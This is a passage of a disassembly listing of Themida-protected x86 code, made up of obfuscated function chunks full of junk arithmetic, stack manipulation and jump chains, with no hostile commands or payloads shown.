; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CBE6:				; CODE XREF: sub_585452+96DDj
		xchg	edi, ebp
		push	edi
		jmp	loc_58C741
; ---------------------------------------------------------------------------


loc_58CBEE:				; CODE XREF: sub_585452+5502j
		push	esi
		jmp	sub_58FA66
; ---------------------------------------------------------------------------


loc_58CBF4:				; CODE XREF: sub_585452+86AAj
		pop	ecx
		sub	edi, 5FB64030h
		jmp	loc_58E756
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58CC00:				; CODE XREF: sub_58EFBD-A483j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	ebp, 1
		and	ebp, 45384AF2h
		sub	ebp, 44384AB0h
		mov	[edi+20h], ebp
		jmp	loc_589F8D
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CC23:				; CODE XREF: sub_585452+A269j
		xor	[esp-14h+arg_E+2], edi
		xor	edi, [esp-14h+arg_E+2]
		jmp	loc_587BC4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_58CC2E:				; CODE XREF: sub_58E931-9825j
		add	[esp+10h+var_C], edx
		jmp	loc_584633
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58CC37:				; CODE XREF: sub_58CA39+30E9j
		mov	[eax], ecx
		pop	eax
		pop	ebx
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58CC40:				; CODE XREF: sub_58C230-34EEj
		add	esp, 4
		neg	ecx
		add	ecx, 229C648Bh
		jmp	loc_587326
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58CC50:				; CODE XREF: Themida_:00586341j
		sub	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, ebp
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	ebp
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		movzx	cx, al
		push	small 5A85h
		mov	[esp], cx
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58CC7D:				; CODE XREF: sub_58AB18-37A7j
		mov	esi, 237945FDh
		not	esi
		dec	esi
		shr	esi, 2
		xor	esi, 27151DE7h
		add	esi, 57B6AA1h
		sub	edi, 5DE71FCh
		sub	edi, esi
		push	ebx
		mov	ebx, 5DE71FCh
		add	edi, ebx
		pop	ebx
		jmp	loc_58E808
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------


loc_58CCAA:				; CODE XREF: Themida_:0058D404j
		sub	al, dh
		sub	al, 0ECh
		sub	al, 56h
		push	ebx
		mov	bh, 0A8h
		add	al, bh
		pop	ebx
		jmp	loc_58B0D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CCBB:				; CODE XREF: sub_585452-1024j
		add	ebp, 4
		jmp	loc_58E356
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CCC6:				; CODE XREF: Themida_:0058F689j
		pop	ecx
		add	ax, 5D9h
		sub	ax, dx
		sub	ax, 5D9h
		jmp	loc_58A2B9

; =============== S U B	R O U T	I N E =======================================



sub_58CCD7	proc near		; CODE XREF: sub_58D97C-373Dj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00584957 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588D99 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058AC43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B22C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058B31D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058C6D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D07B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D311 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D39A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DCBC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058E346 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, esp
		jmp	loc_58AC43
sub_58CCD7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58CCDF:				; CODE XREF: Themida_:0058EA98j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_588480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_58CCEB:				; CODE XREF: sub_58B758-520Fj
		pop	eax
		push	edx
		push	6C641C87h
		pop	edx
		dec	edx
		xor	edx, 72053DFDh
		dec	edx
		push	3957h
		mov	[esp+0], ebp
		mov	ebp, 63807A7Bh
		add	ebp, 0F9BBA88Ah
		sub	edx, 557E3363h
		sub	edx, 34CE2C2Bh
		jmp	loc_586E6F
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------


loc_58CD1F:				; CODE XREF: Themida_:00589104j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 0B0217C7h
		jmp	loc_58E019
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		push	4CC1h
		mov	[esp], ebx
		push	ecx
		push	6CF63DAFh
		pop	ecx
		add	ecx, 0F0B83167h
		jmp	loc_58D4C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CD51:				; CODE XREF: sub_585452+204Cj
		mov	[esp+0], ebp
		jmp	loc_58475D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CD59:				; CODE XREF: Themida_:0058EA2Fj
		dec	edi
		add	edi, 23F5DF45h
		sub	ebx, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		add	eax, 2A3C3F27h
		push	ebp
		push	67A5h
		mov	[esp], ecx
		jmp	loc_58D841
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CD79:				; CODE XREF: sub_585452+4501j
		add	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		xor	al, ch
		pop	ecx
		jmp	loc_58B937
; ---------------------------------------------------------------------------


loc_58CD88:				; CODE XREF: sub_585452+9A2Dj
		not	ecx
		inc	ecx
		sub	ecx, 0F8B1B126h
		mov	ebx, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		and	ecx, ebx
		mov	ebx, [esp+6+var_8+2]
		push	ecx
		push	esp
		mov	ecx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	esi
		mov	esi, 27F00805h
		jmp	loc_58CDB9
; ---------------------------------------------------------------------------


loc_58CDB4:				; CODE XREF: sub_585452+5854j
		jmp	loc_589F94
; ---------------------------------------------------------------------------


loc_58CDB9:				; CODE XREF: sub_585452+795Dj
		sub	esi, 46782094h
		sub	esi, 0E177E76Dh
		jmp	loc_58CB56
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CDCA:				; CODE XREF: Themida_:0058CFBCj
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_58774C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CDE7:				; CODE XREF: sub_585452+18B1j
		mov	[edx+30h], ebp
		pop	ebp
		jmp	loc_589849
; ---------------------------------------------------------------------------


loc_58CDF0:				; CODE XREF: sub_585452-1791j
		pop	eax
		jmp	loc_58A4B0
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_58CDF6:				; CODE XREF: sub_58DA2E-1D8Fj
		pop	ebx
		xor	ah, 0E5h
		push	ebx
		push	edx
		push	ebx
		jmp	loc_5899BC
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_58CE02:				; CODE XREF: Themida_:0058C21Dj
		mov	cx, [esp]
		jmp	loc_58F360
; ---------------------------------------------------------------------------


loc_58CE0B:				; CODE XREF: Themida_:005842B4j
		push	ebp
		mov	ebp, esp
		push	74D3h
		mov	[esp], edx
		push	4FFBh
		jmp	loc_58DBDD
; ---------------------------------------------------------------------------


loc_58CE20:				; CODE XREF: Themida_:0058A06Dj
		pop	esp
		add	esi, 4
		jmp	loc_584CF5
; ---------------------------------------------------------------------------


loc_58CE2C:				; CODE XREF: Themida_:0058B318j
		add	esp, 4
		add	esp, 4
		jmp	loc_588BB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CE3A:				; CODE XREF: sub_585452+A436j
		xor	ebx, 4E172094h
		neg	ebx
		xor	ebx, 667E5668h
		jmp	loc_58E31F
; ---------------------------------------------------------------------------


loc_58CE4D:				; CODE XREF: sub_585452+9B5Dj
		push	esi
		mov	esi, 0CFF56762h
		xor	eax, esi
		jmp	loc_586180
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CE5A:				; CODE XREF: Themida_:0058A739j
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58D8DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CE6F:				; CODE XREF: sub_585452+2359j
		neg	ebx
		sub	ebx, 0BD430063h
		jmp	loc_58BAEA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58CE7C:				; CODE XREF: sub_58EFBD-3D5Cj
		mov	eax, [esp+0Ch+var_C]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		add	eax, 4
		push	edx
		push	ecx
		push	14B831EAh
		jmp	loc_587145
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58CEA3:				; CODE XREF: Themida_:00583FDDj
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 2
		sub	ebp, edx
		pop	edx
		jmp	loc_58A504
; ---------------------------------------------------------------------------


loc_58CEBA:				; CODE XREF: Themida_:0058F5BEj
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_58DF53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DD80


loc_58CEC6:				; CODE XREF: sub_58DD80+1j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ecx
		mov	ecx, 213B11AEh
		shr	ecx, 7
		not	ecx
		xor	ecx, 0FBD6CA5Fh
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		jmp	loc_5858FA
; END OF FUNCTION CHUNK	FOR sub_58DD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CEF6:				; CODE XREF: sub_585452+6320j
		mov	al, 0CEh
		xor	al, 68h
		sub	bl, 0B0h
		jmp	loc_58ED8F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58CF02:				; CODE XREF: sub_58999B+3FACj
		mov	[esp+0], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 5B0A41B0h
		add	eax, 1CC77005h
		shl	eax, 6
		dec	eax
		push	ebx
		mov	ebx, 5F1B6914h
		inc	ebx
		xor	ebx, 0AB77042Eh
		sub	eax, ebx
		jmp	loc_586971
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CF2A:				; CODE XREF: sub_585452+55Cj
		add	edi, ebx
		sub	edi, 18E921A0h
		push	ebx
		jmp	loc_58FB98
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58CF38:				; CODE XREF: Themida_:0058FE66j
		add	eax, 76CC5506h
		shr	eax, 2
		push	ebp
		mov	ebp, 9DB42AAh
		add	eax, ebp
		pop	ebp
		shr	eax, 5
		shl	eax, 2
		jmp	loc_5885BF
; ---------------------------------------------------------------------------


loc_58CF54:				; CODE XREF: Themida_:005871D9j
		mov	[esp], esi
		push	edx
		mov	edx, 3CF6343Ch
		mov	esi, 466972EAh
		sub	esi, edx
		pop	edx
		jmp	loc_588194

; =============== S U B	R O U T	I N E =======================================



sub_58CF6A	proc near		; CODE XREF: sub_585452+C1Cj

; FUNCTION CHUNK AT 0058DDC6 SIZE 00000013 BYTES

		push	ebp
		push	esp
		pop	ebp
		jmp	loc_58DDC6
sub_58CF6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CF72:				; CODE XREF: sub_585452+AA72j
		or	al, 2Ah
		inc	al
		push	small 7D5Fh
		mov	word ptr [esp+54h+var_54], bx
		mov	bh, 41h
		sub	al, bh
		pop	bx
		xor	cl, al
		pop	eax
		and	cl, 38h
		push	5B70h
		mov	[esp+52h+var_54+2], ebx
		jmp	loc_58853C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58CF97:				; CODE XREF: sub_587574+8083j
		pop	eax
		xchg	ebp, [esp+0]
		jmp	loc_58F4CF
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------


loc_58CFA0:				; CODE XREF: Themida_:0058C8D6j
		pop	ecx
		jmp	loc_58A136
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58CFA6:				; CODE XREF: sub_58EFBD-6DD1j
		xchg	ebx, edx
		neg	ebx
		xchg	ebx, edx
		xchg	ebp, edx
		inc	ebp
		xor	edx, ebp
		jmp	loc_58C5D1
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58CFB6:				; CODE XREF: Themida_:00586764j
		pop	ebx
		xor	al, dh
		push	dword ptr [esp]
		jmp	loc_58CDCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58CFC1:				; CODE XREF: sub_58EA34-5354j
		xchg	eax, [esp+4+var_4]
		pop	esp
		jmp	loc_58C29A
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CFCA:				; CODE XREF: sub_585452+2B1Cj
		or	[edi+1Ch], ebx
		pop	ebx
		jmp	loc_58B227
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E234


loc_58CFD3:				; CODE XREF: sub_58E234-2F5Dj
		and	eax, edi
		mov	edi, [esp+0]
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_58892B
; END OF FUNCTION CHUNK	FOR sub_58E234
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58CFE1:				; CODE XREF: sub_585452+9805j
		xchg	eax, [esp-14h+arg_E+2]
		jmp	loc_58F31E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		xor	[esp], dl
		xor	dl, [esp]
		xor	[esp], dl
		sub	esp, 2
		mov	[esp], dx
		xchg	dh, [esp]
		push	bx
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		not	bl
		mov	dh, bl
		jmp	loc_5875C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D010:				; CODE XREF: sub_585452+E4j
		inc	ebx
		shl	ebx, 8
		jmp	loc_58B5B4
; ---------------------------------------------------------------------------


loc_58D019:				; CODE XREF: sub_585452-ABj
		add	ebx, esi
		add	ebx, 5DC60643h
		mov	esi, [esp+0]
		push	ebp
		push	esp
		jmp	loc_58B730
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D02B:				; CODE XREF: Themida_:0058B9C2j
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_58D041:				; CODE XREF: Themida_:00584875j
		push	eax
		push	5A81h
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 44A61205h
		add	[esp+4], edx
		push	eax
		mov	eax, 44A61205h
		sub	[esp+8], eax
		pop	eax
		pop	edx
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58EF34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58D07B:				; CODE XREF: sub_58CCD7-3F24j
		push	edx
		jmp	loc_584957
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58D081:				; CODE XREF: sub_589967+2352j
		mov	[esp+0], eax
		jmp	loc_586E80
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------


loc_58D089:				; CODE XREF: Themida_:0058FDC0j
		not	ebx
		xor	ebx, 0EC4EF4BBh
		sub	esi, ebx
		pop	ebx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2
		add	esi, ebp
		jmp	loc_58A2B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D0A7:				; CODE XREF: sub_585452+3E8Cj
		mov	ah, 0Ah
		sub	ch, ah
		pop	eax
		add	ch, 6Eh
		sub	ch, 5Dh
		sub	ch, dh
		add	ch, 5Dh
		sub	ch, 6Eh
		add	ch, 0Ah
		pop	dx
		sub	ch, 52h
		shr	ch, 6
		push	ebx
		jmp	loc_58D1F8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_58D0CB:				; CODE XREF: sub_58BE98-2D6Dj
		sub	eax, 0FBE1433h
		jmp	loc_585AA6
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------


loc_58D0D5:				; CODE XREF: Themida_:00589E47j
		add	ebx, 26396E20h
		sub	ebx, 27E41D66h
		jmp	loc_58E276
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585350


loc_58D0E6:				; CODE XREF: sub_585350+Aj
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		mov	ch, dl
		mov	al, ch
		pop	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ch, al
		jmp	loc_5864A6
; END OF FUNCTION CHUNK	FOR sub_585350
; ---------------------------------------------------------------------------


loc_58D10D:				; CODE XREF: Themida_:0058494Bj
		push	ebp
		mov	ebp, 71D34EE2h
		xor	ebp, 38B44699h
		or	ebp, 15EA4522h
		shr	ebp, 4
		or	ebp, 39E866D4h
		jmp	loc_586754
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D12D:				; CODE XREF: sub_585452+20E3j
		add	bl, 0B9h
		push	[esp+4+var_4]
		jmp	loc_586C8B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D138:				; CODE XREF: Themida_:0058E47Cj
		add	edx, 2DD499Fh
		mov	eax, edx
		pop	edx
		add	edx, 0EA199Ah
		sub	edx, eax
		sub	edx, 0EA199Ah
		pop	eax
		add	edx, eax
		push	esi
		push	11DB55FDh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_585EB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D166:				; CODE XREF: sub_585452+6EA3j
		add	esi, ebx
		push	dword ptr [esp+0]
		jmp	loc_584E03
; ---------------------------------------------------------------------------


loc_58D170:				; CODE XREF: sub_585452+5B55j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5892FF
; ---------------------------------------------------------------------------


loc_58D17D:				; CODE XREF: sub_585452+1BEFj
		pop	ebx
		push	ebx
		jmp	loc_58E1E4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D184:				; CODE XREF: Themida_:00586699j
		mov	ebx, edx
		pop	edx
		neg	ebx
		shr	ebx, 8
		xor	ebx, 0D421AEh
		sub	edi, 400362DBh
		jmp	loc_589A4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D19D:				; CODE XREF: sub_585452+13DDj
		push	eax
		not	[esp+4Ah+var_4C+2]
		pop	eax
		xchg	eax, [esp+46h+var_48+2]
		pop	ebp
		push	esi
		mov	esi, 35404EC5h
		jmp	loc_58D79F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D1B1:				; CODE XREF: Themida_:0058BB44j
		pop	ecx
		sub	ebp, 4
		jmp	loc_5844CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D1BD:				; CODE XREF: sub_585452+5242j
		mov	ebp, 27CB1295h
		shr	ebp, 8
		sub	ebp, 0F8ECAD4Bh
		add	edx, ebp
		pop	ebp
		jmp	loc_588BE4
; ---------------------------------------------------------------------------


loc_58D1D3:				; CODE XREF: sub_585452+58E2j
		add	esp, 4
		push	edi
		mov	edi, 2
		add	ebx, edi
		mov	edi, [esp-16h+arg_12]
		add	esp, 4
		xor	ebx, [esp-1Ah+arg_16]
		xor	[esp-1Ah+arg_16], ebx
		xor	ebx, [esp-1Ah+arg_16]
		mov	esp, [esp-1Ah+arg_16]
		jmp	loc_58B3CC
; ---------------------------------------------------------------------------


loc_58D1F8:				; CODE XREF: sub_585452+7C74j
		mov	bh, 35h
		shl	bh, 2
		shl	bh, 7
		sub	bh, 25h
		and	bh, 6Fh
		sub	bh, 0D8h
		add	ch, bh
		pop	ebx
		push	6FFFh
		jmp	loc_586EBD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58D216:				; CODE XREF: Themida_:0058F242j
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58D59A
; ---------------------------------------------------------------------------


loc_58D22E:				; CODE XREF: Themida_:00589465j
		add	edi, 1CD7FE1h
		add	edi, ecx
		sub	edi, 1CD7FE1h
		pop	ecx
		dec	edi
		not	edi
		shl	edi, 8
		shr	edi, 2
		or	edi, 77B85A81h
		jmp	loc_58EE09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D251:				; CODE XREF: sub_585452+1EA9j
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		or	ebp, 27EE0FC3h
		xor	ebp, 7FEF3FFBh
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		push	3692h
		mov	[esp+0], ebx
		push	80h
		pop	ebx
		and	ecx, ebx
		push	dword ptr [esp+0]
		push	[esp+2+var_4+2]
		pop	ebx
		jmp	loc_58D7FE
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58D28B	proc near		; CODE XREF: sub_585452+933j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058432B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058A395 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0058EAE4 SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 0CEA01FEDh
		add	ecx, ebx
		pop	ebx
		sub	ebx, ecx
		pop	ecx
		mov	eax, [esp+0]
		jmp	loc_58432B
sub_58D28B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_58D29F:				; CODE XREF: sub_5B5756-315C9j
		mov	ch, dl
		pop	edx
		jmp	sub_585452
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D2A7:				; CODE XREF: sub_585452+6DC2j
		push	eax
		mov	al, 0ECh
		sub	al, 1
		sub	al, 0FFh
		push	ebx
		jmp	loc_587942
; ---------------------------------------------------------------------------


loc_58D2B4:				; CODE XREF: sub_585452+A073j
		xor	ebp, esi
		jmp	loc_58B200
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589972


loc_58D2BB:				; CODE XREF: sub_589972+140Fj
		add	ebx, 12FFB7CAh
		push	ebx
		pop	eax
		pop	ebx
		sub	edx, 367C0B7Fh
		sub	edx, eax
		add	edx, 367C0B7Fh
		jmp	loc_58BD19
; END OF FUNCTION CHUNK	FOR sub_589972
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D2D7:				; CODE XREF: sub_585452+1E43j
		sub	eax, 12DD7693h
		jmp	loc_585671
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_583D6F


loc_58D2E1:				; CODE XREF: sub_583D6F+7B3Bj
		sub	edx, 65964C9Fh
		add	edx, eax
		push	esi
		mov	esi, 33DB4B65h
		and	esi, 283551DBh
		jmp	loc_586374
; END OF FUNCTION CHUNK	FOR sub_583D6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D2FA:				; CODE XREF: sub_585452+3A3Bj
		pop	eax
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	sub_58EFBD
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		jmp	loc_586EB7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58D311:				; CODE XREF: sub_58CCD7-2088j
		inc	ecx
		sub	ecx, 3A5E198Ah
		jmp	loc_58D39A
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------


loc_58D31D:				; CODE XREF: Themida_:0058C520j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58A0EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D32B:				; CODE XREF: sub_585452+5EABj
		shr	eax, 0Ah
		jmp	loc_584FB1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58D333:				; CODE XREF: sub_58C230+1747j
		rep movsd
		add	esp, [edx+38h]
		push	398h
		mov	[esp+0Ch+var_C], edi
		mov	edi, 1A0803C4h
		sub	edi, 1
		push	ebp
		jmp	loc_588D38
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_58D351:				; CODE XREF: Themida_:005894B1j
		sub	eax, 2054C0Eh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58B9EE
; ---------------------------------------------------------------------------


loc_58D361:				; CODE XREF: Themida_:0058D395j
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58D9CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_58D370:				; CODE XREF: sub_58C230-3051j
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_58C8A4
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D378:				; CODE XREF: sub_585452+3EB0j
		xor	edi, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], edi
		jmp	loc_58A902
; ---------------------------------------------------------------------------


loc_58D383:				; CODE XREF: sub_585452+324Dj
		add	esp, 4
		jmp	loc_58F4CA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58D361
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_58D39A:				; CODE XREF: sub_58CCD7+641j
		push	eax
		push	ebx
		jmp	loc_58B22C
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------


loc_58D3A1:				; CODE XREF: Themida_:005884D1j
		push	ecx
		mov	ecx, 79D85380h
		jmp	loc_58E86E
; ---------------------------------------------------------------------------


loc_58D3AC:				; CODE XREF: Themida_:00585F7Bj
		push	ebx
		mov	ebx, 4
		jmp	loc_58E39B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58D3B7:				; CODE XREF: sub_585452+4868j
		add	esp, 4
		mov	eax, [esp-1Ah+arg_16]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-16h+arg_12]
